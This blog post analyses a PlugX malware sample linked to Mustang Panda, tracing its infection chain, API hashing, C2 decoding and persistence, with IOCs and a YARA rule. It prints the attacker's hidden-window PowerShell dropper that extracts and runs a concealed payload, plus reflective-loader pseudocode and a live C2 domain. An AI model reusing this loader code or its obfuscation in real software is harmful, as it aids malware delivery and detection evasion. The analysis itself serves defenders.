Post

PlugX : Mustang Panda APT

Inside Mustang Panda: From Spear-Phishing Chains to PlugX — A Deep Dive into Loader Infrastructure

PlugX : Mustang Panda APT

Introduction

Mustang Panda is a China-linked advanced persistent threat (APT) group engaged in sustained cyber espionage operations, primarily targeting government entities, diplomatic organizations, and NGOs. The group relies on a consistent toolset that is regularly modified to support campaign-specific objectives while maintaining low detection rates.

A core component of this toolset is the PlugX malware family, a modular remote access trojan widely observed in Mustang Panda operations. PlugX is deployed in multiple variants, each customized with embedded configuration data that defines command-and-control infrastructure, communication protocols, and enabled capabilities. Its functionality includes remote command execution, file system manipulation, credential collection, and system surveillance.


Sample information

FieldValue
File nameEnergy_Infrastructure_Situation_Note_Tehran_Province_2026.zip
File typeZIP
File size1,477.88 KB
First seen2026-03-17 05:42:13 UTC
MD506fcc2a56de5acdf1ca1847c79cca9e9
SHA10252819a4960c56c28b3f3b27bf91218ffed223a
SHA256de13e4b4368fbe8030622f747aed107d5f6c5fec6e11c31060821a12ed2d6ccd
SHA3-38476f998f12dc7f36c26badac9ca7309c3deb712b283e6f8b5398bd04030b94821558a6d2422b37826dedb7c1cc379a875

Infection chain

PlugX infection chain starts with malicious .lnk secretly runs a PowerShell script which drops files on the system and launches legitimate-looking program which side-loads the malicious dll which reads data file and treats it as encrypted shellcode then decrypted in memory into a hidden PlugX DLL payload. Finally, it connects to the C2 server to receive commands and send data.

PlugX infection chain Stage 1 — LNK file Stage 2 — PowerShell script Stage 3 — three files dropped to disk Legitimate .exe Malicious .dll Encrypted .dat Stage 4 — .dat loaded as shellcode Stage 5 — in-memory decryption Stage 6 — persistence Stage 7 — C2 communication
Figure(1) PlugX infection chain

Technical Summary

  • PowerShell-based payload staging and execution
    The PowerShell component functions purely as a delivery mechanism, leveraging hidden window execution, obfuscated API usage, and non-standard archive handling. It unpacks and executes secondary components from %LocalAppData%, establishing the initial foothold for the next-stage loader.

  • DLL loader with self-reading and memory staging behavior (eraser.dll / eraserInit)
    The intermediate DLL acts as a reflective loader that reads itself from disk, extracts embedded payload data, and stages it directly in memory. It avoids static imports entirely and operates as a self-contained execution environment for the final shellcode stage.

  • Dynamic API resolution via PEB traversal
    All Windows APIs are resolved at runtime by walking the PEB loader structure and parsing export tables manually. This eliminates dependency on the Import Address Table (IAT) and significantly reduces static detection surface.

  • Modified DJB2 API hashing mechanism
    Function resolution is performed using a customized DJB2 hash variant with altered initialization and accumulation logic. This prevents straightforward hash recovery and complicates automated API name reconstruction.

  • Heavy string and configuration obfuscation
    API names, module references, and configuration data are stored in encrypted or encoded form and decoded at runtime using layered transformations (XOR, bit masking, and index-dependent operations), obstructing static analysis.

  • Control-flow flattening and state-machine execution model
    Core logic is implemented using dispatcher-based state machines with opaque constants and junk code insertion, significantly increasing reverse engineering complexity and hindering decompilation accuracy.

  • Thread pool–based shellcode execution (RtlRegisterWait abuse)
    The final payload is executed via Windows thread pool callbacks using RtlRegisterWait, allowing execution inside worker threads rather than the main process flow. This provides stealthy execution and reduces behavioral detection coverage.

  • Exception handling suppression and anti-interference mechanisms
    The sample modifies or neutralizes exception handling mechanisms (SetUnhandledExceptionFilter) to prevent debugging or external hook interference, strengthening runtime resilience.

  • Command-line aware execution branching
    Runtime behavior is influenced by command-line parsing (GetCommandLineW, CommandLineToArgvW), enabling multiple execution modes.

  • Layered configuration decoding
    Configuration data undergoes multi-stage decoding, including RC4 decryption followed by additional XOR-based transformations, delaying recovery of operational C2 parameters.
  • Network initialization and C2 setup
    Winsock and networking APIs are dynamically resolved at runtime. The final configuration reveals HTTPS-based communication over port 443 with redundant C2 entries to ensure resilience and fallback connectivity.

Powershell script analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H "
$cpufcotu = (ls -Path $Home -Recurse -Include *'Energy_Infrastructure_Situation_Note _Tehran_Province_2026'.zip).FullName
$bbbxcti = [System.IO.File]::OpenRead($cpufcotu)
$hwgccxmzh = New-Object byte[] $bbbxcti.Length
$bbbxcti.Read($hwgccxmzh, 0, $hwgccxmzh.Length)
$bbbxcti.Close()
$yyjsvord = 795
$oeqjdpk = 'wRi' + 'tEAl' + 'L' + 'bYt' + 'Es'
[System.IO.File]::$oeqjdpk(
    $Env:LocalAppData + '\npbhwucj.lv',
    $hwgccxmzh[$yyjsvord..($yyjsvord + 1511424 - 1)]
)
tar -xvf $Env:LocalAppData\npbhwucj.lv -C $Env:LocalAppData
Sleep -Seconds 5
powershell $Env:LocalAppData\1HFJAOT7-21WC-0KRF-50GV-JW8KN1HPZC9K\ErsChk.exe

This PowerShell command functions as loader that extracts and executes a concealed payload from within a decoy archive. The script searches the user’s home directory for a ZIP file with a lure-themed name related to energy infrastructure Energy_Infrastructure_Situation_Note _Tehran_Province_2026, suggesting use in a targeted phishing campaign.

Instead of extracting the archive normally, the script reads the file as raw bytes and copies a specific portion starting at a fixed offset. The extracted data is written to disk using an obfuscated method call to avoid signature-based detection $oeqjdpk = 'wRi' + 'tEAl' + 'L' + 'bYt' + 'Es'.

The payload is then unpacked into the user’s local application data C:\Users\<user>\AppData\Local\1HFJAOT7-21WC-0KRF-50GV-JW8KN1HPZC9K directory, after which the script pauses likely to evade sandbox analysis before executing a dropped executable. The use of a hidden PowerShell window, combined with staged extraction and execution"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H, demonstrates common defense evasion and loader behavior. Figure(2) Dropped files via PowerShell script in victim machine


Payload Extraction

Dll side-loading

ErsChk.exe is responsible for loading Eraser.dlland call export eraserInit via Dll side-loading technique which abuses the way Windows applications load dynamic-link libraries (DLLs) to execute malicious code by placing a malicious DLL in a location that is searched before the legitimate one. When a trusted application runs, it unknowingly loads the attacker-controlled DLL, resulting in code execution under the context of that legitimate program. Figure(3) ErsChk.exe calling eraserInit export from Eraser.dll


Stage Two Payload Analysis

The exported function eraserInit acts as a stealthy loader responsible for executing the core malicious payload Eraser.dat through a thread pool–based injection technique by registering in-memory payload buffer as a callback using RtlRegisterWait, associating it with an event object. Once the event is triggered, the payload is executed within a thread pool worker thread , allowing it to run outside the main execution flow and evade traditional monitoring techniques. Figure(4) shellcode execution transfer via thread-pool abuse

API hashing

The payload implements a custom API resolution mechanism based on a modified DJB2 hashing algorithm to dynamically retrieve function addresses from a loaded DLL module . For each exported function, the loader iterates through the export name table and computes a hash over the ASCII function name using a DJB2 variant initialized with a seed value of 0x1505. The algorithm applies a multiplicative accumulation step while traversing each character of the export name.

1
hash = char + 0x21 * hash 

Figure(5) API hash resolving


Shellcode loader

The shellcode acts as loader to the final payload stage it decrypts it and transfer the execution to it. Figure(6) Shellcode transfers execution to final payload DLL export

Finally, the injected DLL decrypted from Eraser.dat embeds a decoy PDF within its overlay section, a technique that aligns with long-standing operational patterns associated with PlugX. Figure(7) Decoy PDF


Final Payload Analysis

Figure(8) Control Flow Flattening Obfuscation

The final payload export acts as Reflective loader implements a full in‑memory PE loader using a flattened state machine and hashed API via ROL‑13. It reconstructs a PE image in memory, fixes imports/relocations, adjusts protections to RX, and invokes the entry point without using the OS loader.

unflattened pseudo code of export

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int mw_ReflectiveLoader()
  {
      base = find_self_base();
      if (*(WORD*)base != 0x5A4D) return 0;                 // "MZ"
      nt = (IMAGE_NT_HEADERS*)(base + *(DWORD*)(base+0x3C));
      if (*(DWORD*)nt != 0x4550) return 0;                  // "PE"

      peb = NtCurrentPeb();     // PEB Walking
      ldr = peb->Ldr;
      module = ldr->InMemoryOrderModuleList.Flink;

      // Resolve imports by ROL‑13 hash
      LoadLibraryA = resolve_by_hash(module, 0xEC0E4E8E);
      GetProcAddress = resolve_by_hash(module, 0x7C0DFCAA);
      VirtualAlloc = resolve_by_hash(module, 0x91AFCA54);
      VirtualProtect = resolve_by_hash(module, 0x7946C61B);
      VirtualFree = resolve_by_hash(module, 0x030633AC);
      NtFlushInstructionCache = resolve_by_hash(module, 0x534C0AB8);

      //Allocate RW memory for image
      mapped = VirtualAlloc(0,nt->OptionalHeader.SizeOfImage + 0x3C00000,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);

      // Copy headers and sections
      copy_headers(mapped, base, nt->OptionalHeader.SizeOfHeaders);
      for each section:
          copy_section(mapped + section.VirtualAddress,
                       base + section.PointerToRawData,
                       section.SizeOfRawData);

      //Resolve imports
      import = mapped + nt->OptionalHeader.DataDirectory[IMPORT].VirtualAddress;
      for each import_desc:
          dll = LoadLibraryA(mapped + import_desc->Name);
          thunk = mapped + import_desc->FirstThunk;
          for each thunk:
              if (is_ordinal):
                  thunk->Function = GetProcAddress(dll, ordinal);
              else:
                  thunk->Function = GetProcAddress(dll, name);

      // Apply relocations
      if (mapped != nt->OptionalHeader.ImageBase):
          reloc = mapped + nt->OptionalHeader.DataDirectory[RELOC].VirtualAddress;
          apply_relocs(reloc, mapped - nt->OptionalHeader.ImageBase);

      // Set final protections + flush
      VirtualProtect(mapped, 0xFFFFFFFF, PAGE_EXECUTE_READ, 0);
      NtFlushInstructionCache((HANDLE)-1, 0, 0);

      // Call entry point
      entry = mapped + nt->OptionalHeader.AddressOfEntryPoint;
      entry(mapped, DLL_PROCESS_ATTACH, 0);
      entry(mapped, 0x190, 0);

      return entry;
  }

C2 extraction

The configuration embedded within its .data section and extract it via RC4 and rotating XOR key scheme. Figure(9) The configuration blob for RC4 The structure of the encrypted configuration information is :

OffsetDescriptionValue
0x00RC4 key length0xA
0x04RC4 keyoQmKndOskb
0x10RC4 encrypted data (BYTE[0x8A0])

RC4 decryption script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import struct
import sys

def rc4(data, key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) & 0xFF
        s[i], s[j] = s[j], s[i]

    out = bytearray()
    i = j = 0
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + s[i]) & 0xFF
        s[i], s[j] = s[j], s[i]
        out.append(b ^ s[(s[i] + s[j]) & 0xFF])
    return bytes(out)

blob = open(sys.argv[1], "rb").read()

key_len = struct.unpack_from("<I", blob, 0x00)[0]
key = blob[0x04:0x04 + key_len]
enc = blob[0x10:0x10 + 0x8A0]

dec = rc4(enc, key)

print("key_len =", key_len)
print("key =", key)
open("config.dec", "wb").write(dec)
print("written: config.dec")

The resulted decryption of RC4 structure handled by Decoding function in sub_10008E28 shown in figure below Figure(10) Configuration information for the decrypted PlugX variant

C2 resolving function unflattened version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
void __noreturn sub_10008E28(_DWORD *sock_obj, int a2, int (__stdcall *a3)(), _DWORD *a4)
  {
      // Resolve WSAStartup and call it 
      decode(seed_WSAStartup, "SdJzNOUIuVRR");
      FARPROC WSAStartup = mw_PEB_GetProcAddress3(seed_WSAStartup, a2, a3, seed_WSAStartup, a4);
      WSAStartup(1);

      //Resolve WSASend
      decode(seed_WSASend, "lrJM_MCz");
      FARPROC WSASend = mw_PEB_GetProcAddress3(seed_WSASend, ...);

      //Initialize per‑connection object
      _DWORD *conn = operator new(0x44u);
      // zero fields
      *(conn + 0x40) = 0;
      *(conn + 0x30) = 0;
      *(conn + 0x20) = 0;
      *(conn + 0x10) = 0;
      *(conn + 0x00) = 0;

      //Send initial handshake/seed 
      decode(seed_WSAConnect_buf, {0x11497677,0x5C55525B,0x54185C54,0x585B});
      WSASend(conn + 4, seed_WSAStartup);

      //Load C2 list
      c2_cur_entry = sub_1007CB16();
      c2_entry_count = *c2_cur_entry;

      // Resolve VirtualAlloc 
      decode(seed_VirtualAlloc, "Ln]^P|VWWZ");
      FARPROC VirtualAlloc = mw_PEB_GetProcAddress3(seed_VirtualAlloc, ...);

      // Loop over C2 entries 
      for (entry_idx = 0; entry_idx < c2_entry_count; entry_idx++)
      {
          // Pull entry metadata
          c2_port = *(c2_cur_entry + 2*entry_idx);
          *c2_entry_ptr = *(c2_cur_entry + 2*entry_idx + 8);
          *(c2_entry_ptr + 1) = *(c2_cur_entry + entry_idx + 5);

          // Allocate buffer for hostname and recv
          decode(seed_VirtualAlloc, "Ln]^P|VWWZ");
          wsa_recv_buf = VirtualAlloc(0x40, 2 * c2_port - 7);
          c2_hostname_buf = wsa_recv_buf;

          // Copy hostname (wide chars) from table
          for (i = 0; i < c2_port - 5; i++)
              c2_hostname_buf[i] = *(c2_cur_entry + entry_idx + 9 + i);

          // Null‑terminate hostname and apply XOR decode
          c2_hostname_buf[c2_port - 5] = 0;
          mw_decoding_C2(wsa_recv_buf, 2 * (c2_port - 5), c2_port + dword_10098ED0 - 5);

          // Connect/loop logic
          if (* (c2_entry_ptr + 1) != 0) {
              dword_10091A84 = 0;
              // Sleep 0x1388
              decode(seed_Sleep, "Sm[ZL");
              FARPROC Sleep = mw_PEB_GetProcAddress3(seed_Sleep, ...);
              Sleep(0x1388);
          } else {
              // Sleep 0xEA60
              decode(seed_Sleep, "Sm[ZL");
              FARPROC Sleep = mw_PEB_GetProcAddress3(seed_Sleep, ...);
              Sleep(0xEA60);
          }
      }

The decoding simply happened by applying rolling XOR

1
2
3
4
key = 0xF3
delta = 0x17
For each byte: key = (key + delta) & 0xFF
out[i] = data[i] ^ key

which resulting :

1
coastallasercompany[.]com

Figure(11) VirusTotal detection of C2


Persistence

Modifying HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


API hashes


eraser.dll

Module Hashes (PEB Walking)

HashModule
0x7040EE75kernel32.dll
0x22D3B5EDntdll.dll

API Hashes

HashAPI
0x13B8A163GetModuleFileNameW
0x382C0F97VirtualAlloc
0x668FCF2EVirtualFree
0x5D01F1B2CreateEventW
0x877EBBD3SetEvent
0x0E19E5FESleep
0x15A5ECDBNtCreateFile
0x4725F863NtQueryInformationFile
0x8B8E133DNtClose
0x2E979AE3NtReadFile
0x1703AB2FNtTerminateProcess
0x082962C8NtProtectVirtualMemory
0xE4DA1C11RtlRegisterWait
0xC0D8989ARtlDeregisterWait

Reflective loader

Hashed APIs (ROL-13 hashing)

HashAPI
0xEC0E4E8ELoadLibraryA
0x7C0DFCAAGetProcAddress
0x91AFCA54VirtualAlloc
0x7946C61BVirtualProtect
0x030633ACVirtualFree
0x534C0AB8NtFlushInstructionCache

eraser.dat (decrypted)

DLLs

Obfuscated StringDecoded DLL
nufoh+bkdntdll.dll
kdpmai55&mfgkernel32.dll
urgq77(cdeuser32.dll
kfpkak5;&ofakernel32.dll

API resolving via obfuscated strings

Obfuscated StringAPI
SdvVjmgileooIumj\e{|SetUnhandledExceptionFilter
Csgbp\RozlkoCreateThread
W\kwBjtTagmgiBleurfWaitForSingleObject
CmmpaMgileoCloseHandle
Chkheu~Uqq{IsR\vf@CommandLineToArgvW
GbrFkvwxv{RtrvEGetCommandLineW
Skc\tSleep
Cucdp~WllzfJCreateMutexW
Tiuz}lm (+ 0x716F7F45)ExitProcess
FbvdhFvyMscy[RtlSetUnhandledExceptionFilter
SfvPjogglgoiIwmt\g{zSetUnhandledExceptionFilter
WqkqaWtfkny~Ajc~bjWriteProcessMemory
(SSE-masked string)GetCurrentProcess
SdJzNOUIuVRRWSAStartup
lrJM_MCzWSASend
Ln]^P|VWWZVirtualAlloc
Sm[ZLSleep

IOCs

File NameSHA-256
decoy_archive.zipde13e4b4368fbe8030622f747aed107d5f6c5fec6e11c31060821a12ed2d6ccd
eraser.dat (encrypted)c5267fefaac1764eba5f42681eb216f146b7d18fcbf546275d33e70cb36fdfba
eraser.dll3021f4d365a641722748c5e60d983a080db17bef8f0a1dbe624ffe63cd544cc1
ErsChk.exebc8b022c10bcab39da302446b0a50988de94607c7e724f2051578e8ed2f8bbe7
eraser.dat (decrypted)30a8df28f83618e078321ff306cde802da285bea050dab0a991ffaa83d90a48b
decoy.pdf4b1b20a73c77711b2dd67c61b493961a16795b7d3f26261ee6b2feb8f5889cd2

YARA rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 rule MustangPanda_PlugX
{
  meta:
    author = "Abdullah Islam @0x3oBAD"
    description = "PlugX/Mustang Panda variant: obfuscated API strings, reflective loader hashes, C2 decode artifact"
    date = "2026-03-27"

  strings:
    $s_setuef_obf    = "SdvVjmgileooIumj`e{|" ascii
    $s_createth_obf  = "Csgbp`Rozlko" ascii
    $s_wait_obf      = "W`kwBjtTagmgiBleurf" ascii
    $s_close_obf     = "CmmpaMgileo" ascii

    $s_cmdargv_obf   = "Chkheu~Uqq{IsR`vf@" ascii
    $s_getcmd_obf    = "GbrFkvwxv{RtrvE" ascii
    $s_sleep_obf     = "Skc`t" ascii
    $s_mutex_obf     = "Cucdp~WllzfJ" ascii
    $s_exit_obf      = "Tiuz}lm" ascii

    $s_rtlsetuef_obf = "FbvdhFvyMscy[" ascii
    $s_setuef2_obf   = "SfvPjogglgoiIwmt`g{z" ascii
    $s_wpm_obf       = "WqkqaWtfkny~Ajc~bj" ascii

    $s_ntdll_obf     = "nufoh+bkd" ascii
    $s_k32_obf       = "kdpmai55&mfg" ascii
    $s_user_obf      = "urgq77(cde" ascii
    $s_k32b_obf      = "kfpkak5;&ofa" ascii

    $c2_domain       = "coastallasercompany.com" wide

    $h_LoadLibraryA  = { 8E 4E 0E EC } // 0xEC0E4E8E
    $h_GetProcAddr   = { AA FC 0D 7C } // 0x7C0DFCAA
    $h_VirtualAlloc  = { 54 CA AF 91 } // 0x91AFCA54
    $h_VirtualProt   = { 1B C6 46 79 } // 0x7946C61B
    $h_VirtualFree   = { AC 33 06 03 } // 0x030633AC
    $h_FlushICache   = { B8 0A 4C 53 } // 0x534C0AB8

  condition:
    uint16(0) == 0x5A4D and                           // MZ
    uint32(uint32(0x3C)) == 0x00004550 and            // PE\0\0
    2 of ($s_*_obf) and
    ( 2 of ($h_*) or $c2_domain )
}

Conclusion

The analyzed sample demonstrates a highly modular, multi-stage loader architecture combining PowerShell-based delivery, DLL-based reflective loading, and thread pool–based shellcode execution. It extensively leverages PEB traversal, API hashing, and layered obfuscation to eliminate static indicators and hinder reverse engineering. The design reflects advanced stealth and resilience techniques commonly associated with modern loader frameworks used in targeted intrusion operations.


References


This post is licensed under CC BY 4.0 by the author.